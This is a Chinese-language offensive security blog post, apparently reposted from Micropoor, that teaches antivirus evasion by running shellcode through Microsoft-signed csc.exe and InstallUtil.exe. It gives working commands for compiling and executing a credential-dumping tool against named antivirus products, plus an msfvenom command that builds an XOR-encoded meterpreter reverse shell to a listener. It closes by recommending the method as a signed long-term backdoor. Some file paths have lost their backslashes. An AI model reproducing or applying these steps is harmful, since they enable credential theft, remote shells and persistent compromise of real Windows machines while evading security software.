Payload 分离免杀思路第二季

华盟原创文章投稿奖励计划

文章作者:Micropoor

原文链接:https://micropoor.blogspot.com

payload分离免杀思路第一季是专门针对x32系统,以及针对xp包括以下版本。而在实战中,目标机器多为Windows7以上版本。而服务器以x64位居多。在第一季中,借助了非微软自带第三方来执行Shellcode,这一季采取调用微软自带来执行Shellcode,这里就会有一个好处,调用自带本身一定就会有微软的签名,从而绕过反病毒软件。

介绍相关概念:

Windows自Windows XP Media Center Edition开始默认安装NET Framework,直至目前的Windows 10,最新的默认版本为4.6.00081.00。随着装机量,最新默认安装版本为4.7.2053.0。

csc.exe:

C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你可以在C:WINNTMicrosoft.NETFrameworkxxxxx目录中发现它。为了使用方便,你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单,打开命令提示符,并切换到存放 test.cs文件的目录中,输入下列行命令:csc /target:exe test.cs 将Ttest.cs编译成名为test.exe的console应用程序

Payload 分离免杀思路第二季

InstallUtil.exe:

微软官方介绍如下:

The Installer tool is a command-line utility that allows you to install anduninstall server resources by executing the installer components in specifiedassemblies. This tool works in conjunction with classes in theSystem.Configuration.Install namespace.

This tool is automatically installed with Visual Studio. To run the tool, use theDeveloper Command Prompt (or the Visual Studio Command Prompt in Windows

7). For more information, see Command Prompts.

https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

关于两个文件默认安装位置:(注意x32,x64区别)

C:WindowsMicrosoft.NETFramework

C:WindowsMicrosoft.NETFramework64

C:WindowsMicrosoft.NETFramework

C:WindowsMicrosoft.NETFramework64

文章采取2种demo来辅助本文中心思想。

demo1:

以抓密码为例:测试环境:目标A机安装了360套装。目标机B安装了小红伞,NOD32。目标机安C装了麦咖啡。

生成秘钥:

Payload 分离免杀思路第二季

执行:

C:WindowsMicrosoft.NETFram-work64v4.0.30319csc.exe/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library/out:Micropoor.ex/keyfile:C:UsersJohnnDesktopinstallutil.snk/unsafeC:UsersJohnnDesktopmimi.cs

Payload 分离免杀思路第二季

C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe/logfile=/LogToConsole=false /U C:UsersJohnnDesktopMicropoor.exe

Payload 分离免杀思路第二季

demo2:

以msf为例:

生成shllcode

msfvenom --platform Windows -a x64 -p

windows/x64/meterpreter/reverse_tcp_uuidLHOST=192.168.1.5 LPORT=8080 -b'x00' -e x64/xor -i 10 -f csharp -o ./Micropoor.txt

Payload 分离免杀思路第二季

替换shellcode。

Payload 分离免杀思路第二季

编译:

C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe /unsafe /platform:x64/out:Micropoor.exe M.cs

Payload 分离免杀思路第二季

运行:

C:WindowsMicrosoft.NETFramework64v2.0.50727InstallUtil.exe /logfile=/LogToConsole=false /U Micropoor.exe

Payload 分离免杀思路第二季

注:在实际测试的过程,起监听需要配置一些参数,防止假死与假session。

Payload 分离免杀思路第二季

上线:

Payload 分离免杀思路第二季

后者的话:该方法可以做一个带签名的长期后门

本文原创,作者:fox,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/233314.html

发表评论